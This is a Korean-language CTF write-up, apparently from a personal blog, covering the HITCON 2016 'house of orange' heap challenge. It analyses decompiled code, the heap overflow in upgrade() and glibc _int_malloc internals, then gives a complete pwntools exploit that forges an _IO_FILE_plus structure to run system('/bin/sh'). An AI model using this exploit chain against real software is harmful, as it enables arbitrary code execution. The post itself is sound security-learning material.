블로그 이전했습니다. https://jeongzero.oopy.io/
[hitcon 2016] house of orange
본문 바로가기
워게임/CTF 문제들

[hitcon 2016] house of orange

728x90

1. 문제


1) mitigation 확인 

풀때기 마냥 다 초록색이다. 

 

 

2) 문제 확인 

1번으로 집을 짓는거 보니, 여기서 malloc이 진행될 것같다. 그리고 2번으로 출력이 가능하며, 3번으로 수정이 가능할것이다. 4번은 종료이다. 

 

 

3) 코드흐름 파악 

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  inital_();
  while ( 1 )
  {
    while ( 1 )
    {
      menu_();
      v3 = input_read();
      if ( v3 != 2 )
        break;
      see_the_house();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        upgrade();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("give up");
          exit(0);
        }
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      build_the_house();
    }
  }
}

메인은 이렇게 생겼다. 해당 바이너리는 strip 되어있기 때문에 아이다에서 보기 쉽게 함수명과 구조체를 대충 맞춰줬다. build 함수부터 살펴보자 

 

  1. build_the_house() 함수
    int build_the_house()
    {
      unsigned int size; // [rsp+8h] [rbp-18h]
      int color; // [rsp+Ch] [rbp-14h]
      orange *heap_info; // [rsp+10h] [rbp-10h]
      price_color **price; // [rsp+18h] [rbp-8h]
    
      if ( unk_203070 > 3u )
      {
        puts("Too many house");
        exit(1);
      }
      heap_info = (orange *)malloc(0x10uLL);
      printf("Length of name :");
      size = input_read();
      if ( size > 0x1000 )
        size = 0x1000;
      heap_info->name = (char *)malloc(size);
      if ( !heap_info->name )
      {
        puts("Malloc error !!!");
        exit(1);
      }
      printf("Name :");
      input_name(heap_info->name, size);
      price = (price_color **)calloc(1uLL, 8uLL);
      printf("Price of Orange:");
      *(_DWORD *)price = input_read();
      Orange_color();
      printf("Color of Orange:");
      color = input_read();
      if ( color != 56746 && (color <= 0 || color > 7) )
      {
        puts("No such color");
        exit(1);
      }
      if ( color == 56746 )
        *((_DWORD *)price + 1) = 56746;
      else
        *((_DWORD *)price + 1) = color + 30;
      heap_info->price_color = (char *)price;
      qword_203068 = &heap_info->price_color;
      ++unk_203070;
      return puts("Finish");
    }
    • unk_203070 > 3 이면 exit가 호출된다. 아마도 한번 build 함수를 호출할 때마다 +1 씩 되서 총 3번까지만 호출되는 것으로 보인다
    • build 함수는 한번 호출당 총 3번의 동적할당을 받는다. 우선 처음에 0x10 크기로 malloc을 한번 받고, 그다음 입력한 사이즈만큼 한번, 마지막으로 0x8 사이즈로 calloc을 호출한다
    • 처음 malloc(0x10)은 heap정보를 관리하는 용도이다. 이름을 입력받는 청크주소와 색깔,가격을 입력받는 청크의 주소가 들어간다
    • price는 4바이트 공간이고, color도 역시 4바이트이다. 단 color는 +30을 해서 저장한다.
    • 마지막으로 heap을 관리하는 heap_info 주소를 qword_203068에 저장한다. 이는 bss영역에 존재하는 변수로 다른 함수에서 접근하기 위함이다
    • 따라서 한번 build_the_house함수가 호출될 때마다 다음의 형태로 청크가 생성된다

     

     

  1. upgrade() 함수
    int upgrade()
    {
      _DWORD *v1; // rbx
      unsigned int v2; // [rsp+8h] [rbp-18h]
      int v3; // [rsp+Ch] [rbp-14h]
    
      if ( upgrade_count > 2u )
        return puts("You can't upgrade more");
      if ( !qword_203068 )
        return puts("No such house !");
      printf("Length of name :");
      v2 = input_read();
      if ( v2 > 0x1000 )
        v2 = 4096;
      printf("Name:");
      input_name((void *)qword_203068[1], v2);
      printf("Price of Orange: ");
      v1 = (_DWORD *)*qword_203068;
      *v1 = input_read();
      Orange_color();
      printf("Color of Orange: ");
      v3 = input_read();
      if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
      {
        puts("No such color");
        exit(1);
      }
      if ( v3 == 56746 )
        *(_DWORD *)(*qword_203068 + 4LL) = 56746;
      else
        *(_DWORD *)(*qword_203068 + 4LL) = v3 + 30;
      ++upgrade_count;
      return puts("Finish");
    }
    • 아까 bss에 저장되어있는 heap 관리 주소를 이용해 build_the_house 함수에서 입력한 데이터들을 수정 가능하다.
    • 여기서 이름을 입력할시 다시 사이즈를 입력받는데, 이를 이용해서 heap overflow가 일어난다
    • 가격, 색, 모두 변경한다.

     

     

  1. see_the_house() 함수
    int see_the_house()
    {
      int v0; // eax
      int result; // eax
      int v2; // eax
    
      if ( !qword_203068 )
        return puts("No such house !");
      if ( *(_DWORD *)(*qword_203068 + 4LL) == 56746 )
      {
        printf("Name of house : %s\n", qword_203068[1]);
        printf("Price of orange : %d\n", *(unsigned int *)*qword_203068);
        v0 = rand();
        result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", qword_203080[v0 % 8]);
      }
      else
      {
        if ( *(_DWORD *)(*qword_203068 + 4LL) <= 30 || *(_DWORD *)(*qword_203068 + 4LL) > 37 )
        {
          puts("Color corruption!");
          exit(1);
        }
        printf("Name of house : %s\n", qword_203068[1]);
        printf("Price of orange : %d\n", *(unsigned int *)*qword_203068);
        v2 = rand();
        result = printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*qword_203068 + 4LL), qword_203080[v2 % 8]);
      }
      return result;
    }
    • 이 함수도 간단히 말하면, 이름, 가격, 색을 모두 출력해준다.

     

     

 

2. 접근방법


일단 이 문제를 풀기전에 먼저 필요한 부분을 공부하였다. 따라서 아래에서 설명되어있는 부분은 생략하고 진행하겠다. 

House of Orange 분석
우선 ' House of Orange ' 이름에는 큰 의미없다. 그냥 hitcon 2016 문제 이름인데, 여기서 사용된 기법을 저렇게 이름지은거라고 한다. House of Orange는 _int_malloc 함수 내부에서 메모리 손상이 발생했을 때, 에러를 출력하게 되는데, 이 과정을 이용하여 정상적인 에러 메시지 출력이 아닌, 원하는 함수가 동작하게 만드는 공격이다. 그럼 _int_malloc 소스코드를 보면서 어떠한 원리인지 자세하게 파악해보자.
https://wogh8732.tistory.com/205?category=699165

 

현재 free와 관련된 함수가 없다. 즉 정상적은 흐름으로는 free를 시킬수 없다. 주어진 조건으로는 힙 오버플로우밖에 없는데 이를 이용해서 어떻게 진행을 해야할까? 

 

답은 간단하다. free가 없다면 free를 만들면 된다.  

 

2.1 Top 청크 free시키기

_int_malloc 함수 내부 로직중에, 요청한 사이즈에 알맞은 청크가 현재 bins내에 없고, Top 청크가 가지고 있는 사이즈보다 크다면, 지금 Top 청크를 split해서 할당해줄 수 없으므로, brk를 이용하여 힙 영역을 확장하게 된다. (mmap_threashold 값보다 큰 경우는 mmap으로 할당함) 

 

sbrk를 이용하여 힙 영역이 확장될때 기존의 Top 청크는 free되어 unsorted bin에 들어가게 되는데 우리는 이를 이용하여 free 청크를 활용할 것이다. 일단 heap overflow가 가능하기 때문에 이를 이용하여 Top 청크의 크기를 강제로 변경시키면 된다. 

  • upgrade() 함수 호출시 메모리 상태

    현재 build_the_house 함수를 한번 호출하고 upgrade함수를 이용하여 Top 청크의 size를 0xf31로 변경하였다. 이제 이상태에서 0xf31보다 큰 사이즈 malloc을 요청해보자. 

 

  • build_the_house() 함수 중 malloc(0x10) 호출 후 메모리 상태

    현재 일단 build_the_house 함수에서 힙 관리를 위해 0x10 사이즈 malloc을 먼져 요청한다고 했다. 현재 free된 청크가 하나도 없기 때문에, Top 청크를 확인하게 된다 

     

    기존에 우리가 수정한 탑 청크사이즈가 0xf31였기 떄문에 Top 청크를 split하여 할당해주기 충분하다. 따라서 청크 헤더를 포함해서 총 0x20 사이즈 청크를 split 하여 할당해준다. 위 사진이 바로 할당해준 0x20사이즈 청크이고, 기존 사이즈(0xf31) - 0x21 하여 top 청크 사이즈가 0xf11이 되었다. 

     

  • build_the_house() 함수 중 이름 입력할 사이즈 만큼 malloc()이 호출된 후 상황

    디버깅은 껏다가 켯다가 해서 주소는 달라졌다. 오프셋 위주로 보면 된다. 일단 0x..d0 부분은 그대로 있고, 밑에 원래 top 청크 주소를 봐보자. top 청크 사이즈가 0xff0에서 -0x20 된 만큼 0xef0이 들어가 있다. 그리고 멀찍히 떨어진 곳에 요청한 사이즈 0xff8 +0x10 만큼의 크기인 청크가 할당된 것을 볼 수 있다. 

     

    이 과정은 다음의 그림으로 이해하자. 

    초기 힙은 page 단위로 0x21000 만큼 공간을 마련하고, 요 공간 안에서 힙을 관리한다. free 청크가 있으면 그걸 재할당해주거나 아니면 top 청크를 쪼개서 할당해주는 식으로 말이다. 

     

    현재 top 청크 사이즈를 수정한 상태에서 그보다 큰 사이즈의 청크의 요청이 들어왔으므로 sysmalloc이 호출되면서 brk를 통해 힙을 확장하려고 시도한다. 확장한 영역과 힙이 병합되지 않기 위해 내부적으로 old top 청크를 쪼개서 0x10 사이즈 fence 2개를 할당한다. 

     

    그다음 0x22000 크기 정도로 page를 커널에게 요청하여 힙 영역을 확장시킨다. 따라서 힙 사이즈는 초기 사이즈 0x21000 + 0x22000 = 0x43000 로 확장이 되고, 기존 힙 base 주소에서 + 0x21000 를 한만큼의 주소부터 다시 할당을 해준다. 다시 메모리를 봐보자 

     

    heap base 주소( 0x55d3aa940000 ) + 0x21000 = 0x55D3AA961000  

    즉 brk로 확장한 다음 우리가 요청했던 0xff8 사이즈를 0x55D3AA961000 여기 주소부터 할당해주는 것이다.  

     

    현재 청크들을 확인해보면, 0xef0 사이즈 old_top 청크와 그 밑에 2개의 0x10 사이즈 fence 청크를 확인 가능하다. 마지막으로 bins의 상태를 확인해보자 

     

    old_top 청크가 unsorted bin에 들어간걸 확인할 수 있다. 또한 이 last_remainder에 해당 청크가 들어가있다. 사진으로는 못찍었다. 어쨋든 이제 시작해보자 

 

 

 

2.2 libc, heapbase 주소 leak 하기

build_the_house 함수를 한번더 호출해 현재 unsorted bin에 들어있는 0xef0 사이즈보다 작은 0x408 정도의 사이즈를 요청할 것이다. 우선 처음 malloc(0x10)을 호출한 후 의 상황을 봐보자 

 

  • malloc(0x10) 호출 후

    현재 unsorted bin에 0xef0 사이즈 청크가 들어있었다. malloc(0x10)을 통해 0x20 사이즈 청크를 할당해주려고 _int_malloc 함수 내부코드가 돌아간다. 현재 unsorted bin에만 free 청크가 있는 상태였으므로 이 청크를 확인한다.  

     

    _int_malloc 함수 코드 중에 unsorted bin을 뒤지는 로직 시작부분이다. 현재 unsorted bin에 청크가 하나있고, last_remainder이며 사이즈가 최소 사이즈보다 큰 경우 remainder 청크를 이용하여 재할당을 해준다. 현재 0x20 사이즈가 필요하므로 0xef0에서 -0x20 만큼 split 한뒤에 재할당을 해주고, 나머지 0xed0 사이즈 청크를 다시 unsorted bin에 업데이트 해준다.  

따라서 위 메모리 상태가 된것이다. last_remaider를 쪼갯기 때문에 fd, bk에 main_arena_88의 주소가 들어가 있다.  

 

 

 

  • name 사이즈 만큼 malloc() 호출 후

    name size가 large bin 사이즈 이였기 때문에, 아까와 동일하게 last_remainder를 쪼개서 할당 해주게되고 이 떄문에 , fd, bk에 main_arena 주소와 fd_nextsize, bk_nextsize 영역에 자기 자신의 주소가 들어가게 된다. 우리가 name 을 위해 할당받는 청크 주소가 바로 여기이다. 

     

    fd 영역에 있는 주소를 leak하여 see() 함수를 호출하여 libc_base 주소를 구할 수 있고, upgrade 함수를 이용하여 널 부분을 더미로 채운뒤, see() 함수를 한번더 호출하여 heapbase 주소를 구할 수 있다.  

     

    자. 이제 필요한 주소는 다 leak하였다. 이제 공부한 file stream 구조를 이용하여 조져보자 

     

 

2.3 fake _IO_FILE_plus 구조체 만들기

 

위 그림은 정상적인 _IO_FILE_plus 구조체 변수인 _IO_list_all 변수의 형태이다. _IO_FILE 구조체 멤버변수와 _IO_jump_t 구조체 멤버 변수 두개를 가지고 있다. 여기서 우리가 알아햐 하는 값은 _IO_FILE 구조체 멤버변수중 _IO_write_base, _IO_write_ptr, _IO_chain, _mode와, _IO_jump_t 구조체 멤버변수중 __overflow이다. 

 

각 필요 멤버변수들의 offset을 확인해보면 다음과 같다. 

  • _IO_FILE 구조체 기준
    1. _IO_write_base : +0x20 거리에 위치함
    1. _IO_write_ptr : +0x28 거리에 위치함
    1. _chain : +0x68 거리에 위치함
    1. _mode : +0xc0 거리에 위치함
  • _IO_jump_t 구조체 기준
    1. __overflow : +0x18 거리에 위치함

 

그럼이제 fake 구조체를 만들어보자. 우리가 만들어야하는 구조체는 _IO_FILE_plus 이다. 따라서 _IO_FILE 구조체 멤버와 _IO_jump_t 구조체 멤버를 구성해보자. 참고로 우리는 old_top chunk 영역에 해당 fake 구조체를 넣을것이다. 

 

요렇게 만들것이다. 다시말하지만, _IO_FILE_plus 구조체는 두개의 구조체 멤버변수를 가지므로 노란영역과 초록 영역이 이에 해당한다. 빨간 색 부분만 살펴보고 나머지들은 뒤에서 설명하겠다. 

 

위에 링크를 달아둔 house of orange 분석 글을 보면 위 조건을 통과해야지 _IO_OVERFLOW 함수가 호출된다고 했다. 따라서 1번 조건을 통과시키기 위해 저렇게 구성을 하였다. _chain에 대한 설명은 아래에서 진행하겠다.  

 

위 조건을 만족하여 _IO_OVERFLOW 가 호출되고, 내부에서 참조하는 vtable+0x18위치에 있는 함수 즉, __overflow가 호출되기 때문에, vtable을 변조하여 현재 fake 구조체 +0xE0 위치를 가리키게 한다음, 0xE0 기준으로 +0x18 위치에 시스템 함수 주소를 박을 것이다 

 

맨 앞에 더미는 ugrade시에 old top 청크 직전까지 더미로 채운것이다. 실제 fake fp 시작부분은 payload 부터이다. 

payload 첫 부분에 system 함수의 인자인 "/bin/sh"를 넣었는데 그 이유는, __overflow함수가 fp를 인자로 가져간다. 따라서 fp 즉 우리가 만든 fake 청크의 시작주소부분을 인자로 취하기 때문에 여기에 "/bin/sh"를 넣은 것이다. 

 

그다음 fp+0x8 부분은 기존 old_top chunk의 size 영역이다. 여기에 0x61 값을 넣어줬다. 자세한 설명은 뒤에서 하겠지만, 이는 unsorted bin attack을 진행하기 위함정도로 지금은 알고지나가자. 그리고 bk 영역에 _IO_list_all 주소 -0x10을 넣었다. 이 역시 unsorted bin attack을 위함이다. 뒤에서 설명하겠다. 

 

나머지 write_base, write_ptr, mode, vtable 주소를 payload2의 주소로 넣어놨다. 그리고 payload2 기준으로 +0x18위치에 system함수를 넣었다. 

 

 

 

2.4 fake _IO_FILE_plus 구조체 적용하기

이제 우리가 만든 가짜 구조체를 적용시켜 정상적인 _IO_list_all 구조체 변수를 덮어야 하는데, 

unsortedb attack을 이용하여 덮어버릴것이다!. 결론적으로 말하면, 현재 old_top 청크에 우리가 만든 fake 구조체를 덮을 것이다.  

그 상태에서 unsorted bin attack을 진행하면 _IO_list_all 구조체 변수 값을 우리가 만든 fake 구조체로 변경시킬수 있는데, 어떻게 하는지 자세히 살펴보자. 

 

...
for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
...

_int_malloc 함수의 코드의 일부를 살펴봐야한다. 위 로직은 unsorted bin scan을 하는 부분이다. 현재 unsorted bin에 청크가 존재하고, 유일한 하나의 청크이고, last_remainder이며 사이즈가 최소사이즈보다 크다면 unsorted bin에서 바로 재할당을 해준다. 만약 조건에 만족하지 못하면, 현재 unsorted bin을 제거하여 원래 자신의 bin에 들어가게 된다. 

 

아까 fake 구조체를 만들때 _chian, bk영역에 넣은 값을 이제 설명하겠다.  

 

현재 bk에 _IO_list_all - 0x10 값을 넣었고, size 영역에 0x61을 넣었다. 처음 build_the_house가 호출되면 0x10 malloc을 요청하게 되는데, 0x61사이즈로 충분히 split하여 재할당을 해줄 수 있지만, 우리가 bk에 값을 변경시켰기 때문에, bck == unsorted_chunks (av) 이 조건을 만족시키지 못해 밑으로 빠지게 된다. 그리고, 원래의 bin에 넣는 로직을 수행하게 된다. 

 

현재 우리가 size 영역을 0x61로 변경하였기 때문에 small bin 영역으로 해당 unsorted bin에 들어있는 청크가 빠지게 된다. 참고로 small bin도 fastbin chunk size를 포함하기 때문에 전혀 잘못된게 아니다. 

 

0x60 사이즈는 small bin[4] 영역에 해당하는 사이즈이므로, 해당 청크는 small bin[4]로 들어가게 된다. 그리고 다시 반복문을 돈다. 위 과정을 간단히 나타내면 다음과 같다. 

 

첫번째 malloc(0x10)시 위 사진에서 마지막 네모칸의 로직이 수행된다. 첫 반복문에서 메모리 체크로직을 통과하는 이유는 처음 victim 변수에는 old_topchunk 주소가 들어가 있어 정상적인 체크로직을 통과하게 된다. 

 

메모리 체크로직을 통과하고 unosrted bin에서 재할당을 못해주기 때문에, 원래의 bins으로 되돌리기 위해 unsorted bin에서 제거를 해줘야하는데 위 보라색 코드가 그 부분이다. 이 코드가 수행되기 때문에 _IO_list_all 변수 값에 main_arena_88 의 주소가 들어간다. 

 

  • victicm→bk = _IO_list_all - 0x10
  • bck = victicm→bk
  • unsorted_chunk(av) → bk = bck (= victicm→bk) (= _IO_list_all - 0x10)

    따라서 unsorted_chunk(av) → bk 영역에 _IO_list_all - 0x10 값이 들어간다 

  • bck→fd( = _IO_list_all - 0x10 + 0x10 ) = unsorted_chunk(av)

    따라서 _IO_list_all 영역에 unsorted_chunk(av) 주소가 들어간다. 

     

다시 반복문을 돌면서 victim = unsorted_chunks (av)->bk 을 통해 victim에 _IO_list_all - 0x10 값이 들어간다. 

 

vicmtim에 0x7f7f19248b68 주소가 들어간다.  

여기서 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) 이 검사로직이 수행될때 위 사진에서 size 부분이 0이기 때문에 에러가 발생한다. 따라서 malloc_printerr 함수가 호출되면서 공부했던 로직이 수행된다. 

 

현재 _IO_list_all 구조체가 저렇게 변경된 것을 확인할 수 있다. main_arena_88 주소를 기준으로 싹다 변경되었다.  

 

여기 _IO_flush_all_lockp() 함수를 보면 for문을 돌때 fp = fp→_chain 요 인자가 list 형태로 들어갈텐데, 현재 _chain 위치에 우리가 _IO_list_all 구조체를 덮은 후 unsorted bin attack을 통해 +0x68 오프셋에 0x56275606f560 주소가 들어가 있다.  

 

여기서 아까 fp+8 위치에 0x61 사이즈를 넣은 이유가 설명이된다. unsorted bin을 scan하고 재할당을 못해주면 해당 사이즈에 맞는 bin에 넣어준다고 했는데 0x60사이즈는 small_bin[4] 사이즈이다. 따라서 main_arena의 bins 중에서 small_bin[4] 위치에 들어간다. 

 

바로 이 부분이 main_arena_88 + 0x68이 바로 small_bin[4] 이다. 따라서 0x61을 넣어준 것이다. 

결국 위 for문이 한번 돌고나서, fp→_chain을 값을 fp에 넣을때 old_top 청크 주소가 현재 +0x68 즉 small_bin[4] 위치에 들어가 있기 때문에 이것을 fp에 넣고 로직을 돌게된다. 

 

내부적으로 old_top 청크 주소 값을 _IO_list_all 구조체 변수로 인식하여 로직이 수행되고, 최종적으로 vtable에서 +0x18 의 위치에 있는 system 함수를 실행하게 되는 것이다. 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(arch="amd64",os="linux",log_level="DEBUG")
p=process("./houseoforange")
#gdb.attach(p,'code\nb *0xe90+$code\n')
e=ELF("./houseoforange")
libc=ELF("./libc.so.6")
gdb.attach(p)
def build(size,name,price,color):
	p.sendlineafter("Your choice : ","1")
	p.sendlineafter("Length of name :",str(size))
	p.sendafter("Name :",str(name))
	p.sendlineafter("Price of Orange:",str(price))
	p.sendlineafter("Color of Orange:",str(color))

def see():
	p.sendlineafter("choice : ","2")

def upgrade(size,name,price,color):
        p.sendlineafter("Your choice : ","3")
        p.sendlineafter("Length of name :",str(size))
        p.sendafter("Name:",str(name))
        p.sendlineafter("Price of Orange: ",str(price))
        p.sendlineafter("Color of Orange: ",str(color))


build(0x80,"A",3,4)

payload="A"*0x88
payload+=p64(0x21)
payload+=p32(0x21)
payload+=p32(0x20)
payload+=p64(0)*2
payload+=p64(0xf31)
pause()

upgrade(len(payload),payload,33,2)

build(0xff8,"A"*0xff8,3,4)
build(0x408,"A"*0x8,3,4)
see()
p.recvuntil("Name of house : AAAAAAAA")
main_arena_leak=u64(p.recv(6)+"\x00\x00")
libc_base=main_arena_leak-0x3c5188

one_shot=[0x45206,0x4525a,0xef9f4,0xf0897]
one_gadet=libc_base+one_shot[0]
system_addr=libc_base+0x045390
_IO_list_all = libc_base+0x3c5520
upgrade(0x408,"A"*0x10,3,4)
see()
p.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heapbase=u64(p.recv(6)+"\x00\x00")-0x130
heap_oldtop=heapbase+0x130
log.info("libc_base::"+hex(libc_base))
log.info("heap_base::"+hex(heapbase))
log.info("system_addr::"+hex(system_addr))


#fake _IO_FILE
dummy="B"*0x420
payload="/bin/sh\x00"
payload+=p64(0x61) # for chain
payload+=p64(0)
payload+=p64(_IO_list_all-0x10)
payload+=p64(0) #write_base
payload+=p64(1) #write_ptr
payload=payload.ljust(0xc0,"\x00")
payload+=p64(0) #mode
payload=payload.ljust(0xd8,"\x00")
payload+=p64(heap_oldtop+len(dummy)+len(payload)+0x18) # vtable addr

#fake _IO_jump_t
payload2=p64(0)*3
payload2+=p64(system_addr)

upgrade(len(dummy+payload+payload2),dummy+payload+payload2,3,4)

p.sendlineafter("Your choice : ","1")

p.interactive()

 

 

 

4. 몰랐던 개념


  • file stream oriented programming을 한번 봐야겠다.
728x90

'워게임 > CTF 문제들' 카테고리의 다른 글

[Codegate 2019] god-the-reum  (0) 2020.09.22
[사이버 작전 경연대회] Vaccine Simulator  (2) 2020.09.21
[downunderCTF] vecc  (0) 2020.09.21
[Definit CTF ] Warmup  (0) 2020.06.09
[0ctf] babyheap  (0) 2020.04.25